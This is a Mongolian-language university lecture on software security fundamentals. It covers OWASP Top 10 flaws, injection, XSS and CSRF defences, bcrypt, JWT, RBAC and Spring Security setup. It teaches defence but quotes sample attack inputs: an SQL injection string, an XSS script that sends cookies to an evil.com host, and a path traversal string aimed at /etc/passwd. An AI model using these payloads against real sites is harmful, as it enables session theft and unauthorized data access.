ЛЕКЦ 10: ПРОГРАМ ХАНГАМЖИЙН АЮУЛГҮЙ БАЙДАЛ (Software Security Fundamentals)
Хичээлийн зорилго: Програм хангамжийн аюулгүй байдлын суурь ойлголт, OWASP Top 10 эмзэг байдлууд, аюулгүй код бичих зарчмууд, authentication/authorization, шифрлэлт, Spring Security ашиглан бодит хамгаалалт хэрэгжүүлэхийг эзэмшүүлэх.
Хамрах хүрээ: CIA Triad, OWASP Top 10, SQL Injection, XSS, CSRF, Authentication (JWT, Session), Authorization (RBAC), Password hashing (bcrypt), HTTPS/TLS, CORS, Spring Security, Input Validation, Secure Coding Best Practices.
ХЭСЭГ 1: ОНОЛЫН СУУРЬ (Theory & Foundations)
1.1 Програм хангамжийн аюулгүй байдал яагаад чухал вэ?
💡 Зүйрлэл: Гэрийн хаалгагүй байшин = Хэн ч ороод гарна. Програмын аюулгүй байдал = Хаалга, цоож, камер, дохиолол.
Бодит жишээнүүд:
| Жишээ | Нөлөөлөл |
|---|---|
| Equifax (2017) | 147 сая хүний мэдээлэл задарсан — Patch хийгээгүй Apache Struts |
| SolarWinds (2020) | Supply chain халдлага — 18,000+ байгууллага |
| Log4Shell (2021) | Log4j эмзэг байдал — Бүх Java систем эрсдэлтэй |
| MOVEit (2023) | SQL Injection — Олон мянган байгууллагын өгөгдөл |
Аюулгүй байдал = Төсвөөс гадуур биш
| Үе шат | Зардал |
|---|---|
| Дизайн үед олох | $1 |
| Хөгжүүлэлт үед олох | $10 |
| Тест үед олох | $100 |
| Production-д олох | $1,000+ |
| Хакер олох | $10,000+ + Нэр хүнд |
1.2 CIA Triad — Аюулгүй байдлын 3 тулгуур
| Тулгуур | Англи | Тайлбар | Жишээ |
|---|---|---|---|
| Нууцлал | Confidentiality | Зөвхөн ЗӨВШӨӨРӨГДСӨН хүн мэдээлэлд хандах | Шифрлэлт, Access Control |
| Бүрэн бүтэн | Integrity | Мэдээлэл ӨӨРЧЛӨГДӨӨГҮЙ, ЗӨВ байх | Hash, Digital Signature |
| Хүртээмж | Availability | Мэдээлэл ХЭРЭГТЭЙ ҮЕДЭЭ ашиглах боломжтой | Backup, DDoS хамгаалалт |
Нууцлал
(Confidentiality)
▲
╱ ╲
╱ ╲
╱ CIA ╲
╱───────╲
╱ ╲
▼ ▼
Бүрэн бүтэн Хүртээмж
(Integrity) (Availability)
1.3 OWASP Top 10 — Хамгийн түгээмэл 10 эмзэг байдал
OWASP = Open Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл.
OWASP Top 10 (2021):
| # | Нэр | Тайлбар |
|---|---|---|
| A01 | Broken Access Control | Зөвшөөрөлгүй хандалт (admin endpoint руу энгийн хэрэглэгч) |
| A02 | Cryptographic Failures | Шифрлэлтийн алдаа (HTTP, MD5, plaintext password) |
| A03 | Injection | SQL Injection, XSS — Хортой код шигтгэх |
| A04 | Insecure Design | Аюулгүй бус дизайн (threat modeling хийгээгүй) |
| A05 | Security Misconfiguration | Тохиргооны алдаа (default password, debug mode) |
| A06 | Vulnerable Components | Эмзэг dependency (хуучин library) |
| A07 | Auth Failures | Нэвтрэлтийн алдаа (сул password, brute force) |
| A08 | Software/Data Integrity | Шалгагдаагүй update, CI/CD pipeline халдлага |
| A09 | Logging Failures | Лог хангалтгүй → Халдлагыг олж чадахгүй |
| A10 | SSRF | Server-Side Request Forgery — Серверээс дотоод сүлжээ рүү хүсэлт |
1.4 Injection халдлагууд
1.4.1 SQL Injection
SQL Injection = Хэрэглэгчийн оролтоор хортой SQL код шигтгэж, DB-д зөвшөөрөгдөөгүй үйлдэл хийх.
Хэрэглэгч оролт: ' OR '1'='1' --
SQL query:
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
↑
Бүх хэрэглэгч буцаана!
Эмзэг код (❌ БУРУУ):
// String concatenation → SQL Injection эмзэг!
String query = "SELECT * FROM users WHERE email = '" + email + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Аюулгүй код (✅ ЗӨВ):
// Prepared Statement → SQL Injection-аас хамгаалагдсан
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email); // Параметрийг УТГА гэж боловсруулна
ResultSet rs = stmt.executeQuery();
JPA/Hibernate — Автомат хамгаалалт:
// JPA = Prepared Statement автоматаар ашиглана
@Query("SELECT u FROM User u WHERE u.email = :email")
Optional<User> findByEmail(@Param("email") String email);
// Spring Data method naming — Аюулгүй
Optional<User> findByEmail(String email);
1.4.2 XSS (Cross-Site Scripting)
XSS = Хортой JavaScript код вэб хуудсанд шигтгэж, бусад хэрэглэгчийн browser дээр ажиллуулах.
Халдагч оруулна:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Хэрвээ escape хийгээгүй бол → Бусад хэрэглэгчийн cookie хулгайлагдана!
| Төрөл | Тайлбар |
|---|---|
| Stored XSS | DB-д хадгалагдсан хортой script (comment, profile) |
| Reflected XSS | URL parameter-аар дамжсан script |
| DOM XSS | Client-side JavaScript-ээр DOM өөрчлөх |
Хамгаалалт:
// 1. Output encoding — HTML escape
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);
// 2. Content-Security-Policy header
// 3. HttpOnly cookie (JavaScript-аас хандах боломжгүй)
1.4.3 CSRF (Cross-Site Request Forgery)
CSRF = Хэрэглэгчийг мэдэхгүйд нь хортой хүсэлт илгээлгэх.
1. Хэрэглэгч bank.com руу нэвтэрсэн (session cookie байна)
2. evil.com руу зочилно
3. evil.com автоматаар form submit: POST bank.com/transfer?to=hacker&amount=1000
4. Browser cookie-г автоматаар илгээнэ → Мөнгө шилжинэ!
Хамгаалалт:
// Spring Security — CSRF token автомат
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
}
// API (stateless JWT) бол CSRF идэвхгүй болгож болно:
// http.csrf(csrf -> csrf.disable())
1.5 Authentication (Нэвтрэлт) ба Authorization (Зөвшөөрөл)
Ялгаа:
| Шинж | Authentication (AuthN) | Authorization (AuthZ) |
|---|---|---|
| Асуулт | "Чи ХЭН бэ?" | "Чамд ЮУ хийх эрх байна?" |
| Жишээ | Login (email + password) | Admin = Бүгд, User = Зөвхөн өөрийнхөө |
| Хэзээ | Эхэнд | Authentication-ий дараа |
| Механизм | Password, JWT, OAuth | Role, Permission, Policy |
1.5.1 Password хадгалалт
❌ БУРУУ — Plaintext:
users table:
| email | password |
| bat@test.com | myPassword | ← Plaintext! DB задарвал бүгд мэднэ
❌ БУРУУ — MD5/SHA-1:
| email | password |
| bat@test.com | 34819d7beeabb9260a5c854bc85b3e44 | ← Rainbow table-аар тайлна
✅ ЗӨВ — bcrypt (salt + slow hash):
// Spring Security — BCrypt
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12); // strength = 12
}
// Хадгалах
String hashed = passwordEncoder.encode("myPassword");
// → $2a$12$LJ3m4ys3Gkl0TdXTN5Y5pO... (salt + hash, нэг удаа ч давтагдахгүй)
// Шалгах
boolean matches = passwordEncoder.matches("myPassword", hashed); // true
bcrypt яагаад аюулгүй вэ?
| Шинж | MD5/SHA | bcrypt |
|---|---|---|
| Хурд | Маш хурдан (сая/сек) | Зориудаар УДААН (10-100/сек) |
| Salt | Байхгүй | Автомат (давтагдашгүй) |
| Rainbow Table | Тайлж чадна | Тайлж ЧАДАХГҮЙ |
1.5.2 JWT (JSON Web Token)
JWT = Stateless authentication token. Сервер session хадгалахгүй.
JWT бүтэц:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiJ9. ← Header (алгоритм)
eyJzdWIiOiIxMjM0NSIsIm5hbWUi... ← Payload (хэрэглэгчийн мэдээлэл)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV ← Signature (гарын үсэг)
┌──────────┐ POST /login ┌──────────┐
│ Client │ ──────────────────────►│ Server │
│ │ {email, password} │ │
│ │ │ │
│ │◄────────────────────── │ │
│ │ {token: "eyJ..."} │ │
│ │ │ │
│ │ GET /api/students │ │
│ │ ──────────────────────►│ │
│ │ Authorization: │ │
│ │ Bearer eyJ... │ │
│ │ │ │
│ │◄────────────────────── │ │
│ │ {students: [...]} │ │
└──────────┘ └──────────┘
JWT vs Session:
| Шинж | Session | JWT |
|---|---|---|
| Хадгалалт | Сервер дээр (memory/DB) | Client дээр (token) |
| Stateless | ❌ (сервер дээр state) | ✅ (сервер дээр юу ч хадгалахгүй) |
| Scale | Хэцүү (session sync) | Хялбар (token бие даасан) |
| Хүчингүй болгох | Хялбар (session устгах) | Хэцүү (token expire хүлээх) |
| Микросервис | Хэцүү | Тохиромжтой |
1.5.3 RBAC (Role-Based Access Control)
RBAC = Хэрэглэгчид ДҮРД оноож, дүр бүрт ЭРХҮҮД олгох.
Хэрэглэгч → Дүр → Эрхүүд
Бат → ADMIN → [CREATE, READ, UPDATE, DELETE, MANAGE_USERS]
Дорж → TEACHER → [CREATE, READ, UPDATE]
Сараа → STUDENT → [READ]
// Spring Security — Role-based
@RestController
@RequestMapping("/api")
public class StudentController {
@GetMapping("/students")
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER', 'STUDENT')")
public List<Student> getAll() { ... }
@PostMapping("/students")
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER')")
public Student create(@RequestBody Student student) { ... }
@DeleteMapping("/students/{id}")
@PreAuthorize("hasRole('ADMIN')")
public void delete(@PathVariable Long id) { ... }
}
1.6 HTTPS ба TLS
HTTP vs HTTPS:
| Шинж | HTTP | HTTPS |
|---|---|---|
| Шифрлэлт | ❌ Plaintext | ✅ TLS шифрлэлт |
| Нууцлал | Хэн ч уншина | Зөвхөн илгээгч ба хүлээн авагч |
| Бүрэн бүтэн | Өөрчлөгдөж болно | Өөрчлөгдвөл мэдэгдэнэ |
| Port | 80 | 443 |
HTTP:
Client ──── "password123" ──── Хакер уншина! ──── Server
HTTPS:
Client ──── "x8Kj2#mP..." ──── Хакер ойлгохгүй ──── Server
(шифрлэгдсэн)
TLS Handshake (товчлол):
Client Server
│── ClientHello ──────────────►│
│◄── ServerHello + Certificate │
│── Key Exchange ─────────────►│
│◄── Finished ─────────────── │
│ │
│◄═══ Шифрлэгдсэн холбоо ═══►│
1.7 CORS (Cross-Origin Resource Sharing)
CORS = Өөр домайнаас API руу хүсэлт илгээх зөвшөөрөл.
Frontend: https://myapp.com
Backend: https://api.myapp.com ← Өөр origin!
Browser: "api.myapp.com, myapp.com-аас хүсэлт ирж болох уу?"
Server: "Тийм, Access-Control-Allow-Origin: https://myapp.com"
Browser: "OK, хүсэлт илгээнэ"
// Spring Boot — CORS тохиргоо
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://myapp.com") // Зөвхөн энэ domain
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600);
}
}
⚠️ ХЭЗЭЭ Ч:
allowedOrigins("*")+allowCredentials(true)хамт ашиглахгүй! Аюултай.
1.8 Input Validation (Оролтын баталгаажуулалт)
Яагаад чухал вэ?
"Never trust user input" — Хэрэглэгчийн оролтод ХЭЗЭЭ Ч итгэхгүй.
| Оролт | Халдлага |
|---|---|
' OR '1'='1 | SQL Injection |
<script>alert('XSS')</script> | XSS |
../../../../etc/passwd | Path Traversal |
999999999999 | Integer Overflow |
null, хоосон | NullPointerException |
// Spring Validation — Bean Validation (JSR 380)
public class CreateStudentRequest {
@NotBlank(message = "Нэр хоосон байж болохгүй")
@Size(min = 2, max = 100, message = "Нэр 2-100 тэмдэгт")
@Pattern(regexp = "^[a-zA-Zа-яА-ЯөүӨҮёЁ\\s]+$", message = "Зөвхөн үсэг")
private String name;
@NotBlank(message = "Email хоосон байж болохгүй")
@Email(message = "Email формат буруу")
private String email;
@NotNull(message = "GPA заавал")
@DecimalMin(value = "0.0", message = "GPA >= 0")
@DecimalMax(value = "4.0", message = "GPA <= 4.0")
private BigDecimal gpa;
}
// Controller-д @Valid ашиглах
@PostMapping("/students")
public Student create(@Valid @RequestBody CreateStudentRequest request) {
// Validation амжилттай бол л энд хүрнэ
}
1.9 Spring Security суурь
Spring Security архитектур:
HTTP Request
│
▼
┌───────────────────┐
│ Security Filter │ ← Filter Chain (OncePerRequestFilter)
│ Chain │
├───────────────────┤
│ 1. CORS Filter │
│ 2. CSRF Filter │
│ 3. Auth Filter │ ← JWT token шалгах
│ 4. Authorization │ ← Role/Permission шалгах
│ 5. Exception │
└───────┬───────────┘
│
▼ (Зөвшөөрөгдсөн)
┌───────────────────┐
│ Controller │
│ Service │
│ Repository │
└───────────────────┘
Spring Security тохиргоо:
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// CSRF (Stateless API бол disable)
.csrf(csrf -> csrf.disable())
// Session (JWT бол stateless)
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
// Endpoint хандалт
.authorizeHttpRequests(auth -> auth
// Нээлттэй endpoint
.requestMatchers("/api/auth/**").permitAll()
.requestMatchers("/actuator/health").permitAll()
// Admin endpoint
.requestMatchers("/api/admin/**").hasRole("ADMIN")
// Бусад бүгд — Нэвтрэлт шаардлагатай
.anyRequest().authenticated()
)
// JWT Filter нэмэх
.addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
}
1.10 Dependency Security
Эмзэг dependency:
Таны апп → Spring Boot 3.1 → Log4j 2.14 → Log4Shell эмзэг байдал!
Шалгах хэрэгслүүд:
| Хэрэгсэл | Тайлбар |
|---|---|
| OWASP Dependency-Check | Maven/Gradle dependency scan |
| Snyk | Автомат vulnerability scan + fix PR |
| GitHub Dependabot | Автомат dependency update PR |
| Trivy | Docker image vulnerability scan |
<!-- pom.xml — OWASP Dependency-Check -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
# Шалгалт ажиллуулах
mvn dependency-check:check
# Тайлан: target/dependency-check-report.html
1.11 Secure Coding Best Practices
| # | Зарчим | Тайлбар |
|---|---|---|
| 1 | Input Validation | Бүх оролтыг ШАЛГАХ (@Valid, whitelist) |
| 2 | Output Encoding | HTML, JS, SQL-д output encode хийх |
| 3 | Prepared Statement | SQL Injection-аас хамгаалах |
| 4 | bcrypt | Password ХЭЗЭЭ Ч plaintext хадгалахгүй |
| 5 | HTTPS | Бүх холбоог шифрлэх |
| 6 | Least Privilege | Хамгийн БАГА эрх олгох |
| 7 | Defense in Depth | Олон давхар хамгаалалт |
| 8 | Fail Securely | Алдаа гарвал ХААХ (нээхгүй) |
| 9 | Secrets Management | Password кодонд ХАДГАЛАХГҮЙ (Vault, Env) |
| 10 | Dependency Update | Library ТОГТМОЛ шинэчлэх |
| 11 | Security Logging | Нэвтрэлт, алдааг ЛОГ бичих |
| 12 | CORS зөв тохируулах | allowedOrigins("*") ашиглахгүй |
| 13 | Rate Limiting | Brute force-аас хамгаалах |
| 14 | Security Headers | CSP, X-Frame-Options, HSTS |
| 15 | Code Review | Аюулгүй байдлын review хийх |
1.12 Security Headers
Чухал HTTP Security Headers:
| Header | Зорилго |
|---|---|
| Content-Security-Policy | XSS-аас хамгаалах (script ачаалах эх сурвалж хязгаарлах) |
| X-Content-Type-Options | MIME type sniffing-аас хамгаалах |
| X-Frame-Options | Clickjacking-аас хамгаалах (iframe-д оруулахгүй) |
| Strict-Transport-Security | HTTPS шаардах (HSTS) |
| X-XSS-Protection | Browser XSS filter идэвхжүүлэх |
| Referrer-Policy | Referrer мэдээлэл хязгаарлах |
// Spring Security — Security Headers автомат
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp ->
csp.policyDirectives("default-src 'self'; script-src 'self'"))
.frameOptions(frame -> frame.deny())
.httpStrictTransportSecurity(hsts ->
hsts.maxAgeInSeconds(31536000).includeSubDomains(true))
);
return http.build();
}
1.13 Rate Limiting ба Brute Force хамгаалалт
Rate Limiting:
Хэрэглэгч → POST /api/auth/login (100 удаа 1 минутад)
↓
Rate Limiter: "429 Too Many Requests" → Хаагдсан!
// Spring Boot — Bucket4j ашиглан Rate Limiting
@RestController
public class AuthController {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@PostMapping("/api/auth/login")
public ResponseEntity<?> login(@RequestBody LoginRequest request,
HttpServletRequest httpRequest) {
String ip = httpRequest.getRemoteAddr();
Bucket bucket = buckets.computeIfAbsent(ip, k ->
Bucket.builder()
.addLimit(Bandwidth.simple(5, Duration.ofMinutes(1))) // 5 удаа/мин
.build()
);
if (!bucket.tryConsume(1)) {
return ResponseEntity.status(429).body("Хэт олон оролдлого. Түр хүлээнэ үү.");
}
// Login логик...
}
}
Account Lockout:
5 удаа буруу password → Account 15 мин ТҮГЖИГДЭНЭ
1.14 OAuth 2.0 ба SSO ойлголт
OAuth 2.0:
Хэрэглэгч → "Google-ээр нэвтрэх" → Google Login → Redirect + Token → API хандалт
| Нэр | Тайлбар |
|---|---|
| Resource Owner | Хэрэглэгч (Бат) |
| Client | Таны апп (student-api) |
| Authorization Server | Google, GitHub, Keycloak |
| Resource Server | Таны API |
SSO (Single Sign-On):
1 удаа нэвтрэх → Бүх систем рүү хандах
Нэвтрэх (Keycloak) → student-api ✅
→ teacher-api ✅
→ admin-portal ✅
1.15 Threat Modeling
Threat Modeling гэж юу вэ?
Системийн аюулыг УРЬДЧИЛАН тодорхойлж, хамгаалалт төлөвлөх.
STRIDE загвар:
| Аюул | Англи | Тайлбар | Хамгаалалт |
|---|---|---|---|
| S | Spoofing | Хуурамч нэрээр нэвтрэх | Authentication (JWT, MFA) |
| T | Tampering | Өгөгдөл өөрчлөх | Integrity (Hash, Signature) |
| R | Repudiation | "Би хийгээгүй" гэх | Logging, Audit trail |
| I | Information Disclosure | Мэдээлэл задрах | Encryption, Access Control |
| D | Denial of Service | Систем ажиллахгүй болгох | Rate Limiting, DDoS protection |
| E | Elevation of Privilege | Эрх дээшлүүлэх | Authorization, Least Privilege |
ХЭСЭГ 2: ТҮЛХҮҮР ҮГ БА МЭРГЭЖЛИЙН НЭР ТОМЬЁО (Keywords & Glossary)
| # | Англи нэр томьёо | Монгол утга | Дэлгэрэнгүй тайлбар |
|---|---|---|---|
| 1 | CIA Triad | CIA гурвалжин | Confidentiality, Integrity, Availability — Аюулгүй байдлын 3 тулгуур. |
| 2 | OWASP | OWASP | Open Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл. |
| 3 | SQL Injection | SQL шигтгэлт | Оролтоор хортой SQL код шигтгэх халдлага. |
| 4 | XSS | Хөндлөн скрипт | Cross-Site Scripting — Хортой JS код вэб хуудсанд шигтгэх. |
| 5 | CSRF | Хөндлөн хүсэлт | Cross-Site Request Forgery — Хэрэглэгчийг мэдэхгүйд хүсэлт илгээлгэх. |
| 6 | Authentication | Нэвтрэлт | "Чи ХЭН бэ?" — Хэрэглэгчийг таних. |
| 7 | Authorization | Зөвшөөрөл | "Юу хийх ЭРХ байна?" — Хандалт хянах. |
| 8 | JWT | JWT токен | JSON Web Token — Stateless authentication token. |
| 9 | OAuth 2.0 | OAuth 2.0 | Гуравдагч талын нэвтрэлт (Google, GitHub). |
| 10 | SSO | Нэг нэвтрэлт | Single Sign-On — 1 удаа нэвтэрч олон систем ашиглах. |
| 11 | RBAC | Дүрд суурилсан хандалт | Role-Based Access Control — Дүрээр эрх удирдах. |
| 12 | bcrypt | bcrypt | Удаан hash + salt — Password аюулгүй хадгалах. |
| 13 | Salt | Давс | Password hash-д нэмэх давтагдашгүй тохиолдолт утга. |
| 14 | Hash | Хэш | Нэг чиглэлт хөрвүүлэлт (буцааж чадахгүй). |
| 15 | HTTPS | HTTPS | HTTP + TLS шифрлэлт — Аюулгүй холбоо. |
| 16 | TLS | TLS | Transport Layer Security — Холбоог шифрлэх протокол. |
| 17 | CORS | CORS | Cross-Origin Resource Sharing — Өөр домайнаас хандах зөвшөөрөл. |
| 18 | Input Validation | Оролтын баталгаажуулалт | Хэрэглэгчийн оролтыг шалгах (@Valid). |
| 19 | Prepared Statement | Бэлтгэсэн мэдэгдэл | Параметрийг утга гэж боловсруулах — SQL Injection хамгаалалт. |
| 20 | Encryption | Шифрлэлт | Өгөгдлийг нууцлах (AES, RSA). |
| 21 | Symmetric Encryption | Тэгш шифрлэлт | Нэг түлхүүрээр шифрлэх + тайлах (AES). |
| 22 | Asymmetric Encryption | Тэгш бус шифрлэлт | Нийтийн + хувийн түлхүүр (RSA). |
| 23 | HSTS | HSTS | HTTP Strict Transport Security — HTTPS шаардах. |
| 24 | CSP | CSP | Content Security Policy — XSS хамгаалалт header. |
| 25 | Rate Limiting | Хурд хязгаарлалт | Хүсэлтийн тоог хязгаарлах (brute force хамгаалалт). |
| 26 | Brute Force | Бүдүүлэг хүч | Бүх боломжит password оролдох халдлага. |
| 27 | MFA / 2FA | Олон хүчин зүйлт нэвтрэлт | Multi-Factor Authentication — Password + OTP/SMS. |
| 28 | Vulnerability | Эмзэг байдал | Системийн аюулгүй байдлын сул тал. |
| 29 | Exploit | Ашиглалт | Эмзэг байдлыг ашиглах халдлага. |
| 30 | Penetration Testing | Нэвтрэлтийн тест | Системд зориудаар халдаж, сул талыг олох. |
| 31 | Threat Modeling | Аюулын загварчлал | Аюулыг урьдчилан тодорхойлж, хамгаалалт төлөвлөх. |
| 32 | STRIDE | STRIDE | Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation. |
| 33 | Least Privilege | Хамгийн бага эрх | Шаардлагатай хамгийн бага эрх олгох зарчим. |
| 34 | Defense in Depth | Олон давхар хамгаалалт | Нэг давхар эвдэрсэн ч бусад нь хамгаална. |
| 35 | Security Header | Аюулгүй байдлын толгой | CSP, X-Frame-Options, HSTS зэрэг HTTP header. |
| 36 | Dependency Check | Хамаарлын шалгалт | Library-ийн эмзэг байдлыг шалгах (OWASP, Snyk). |
| 37 | Spring Security | Spring Security | Spring Boot-ийн аюулгүй байдлын framework. |
| 38 | Filter Chain | Шүүлтүүрийн гинж | HTTP хүсэлт боловсруулах шүүлтүүрүүдийн дараалал. |
| 39 | Keycloak | Keycloak | Нээлттэй эх Identity + Access Management сервер. |
| 40 | Zero Trust | Тэг итгэл | "Хэнд ч итгэхгүй, бүгдийг шалгах" аюулгүй байдлын загвар. |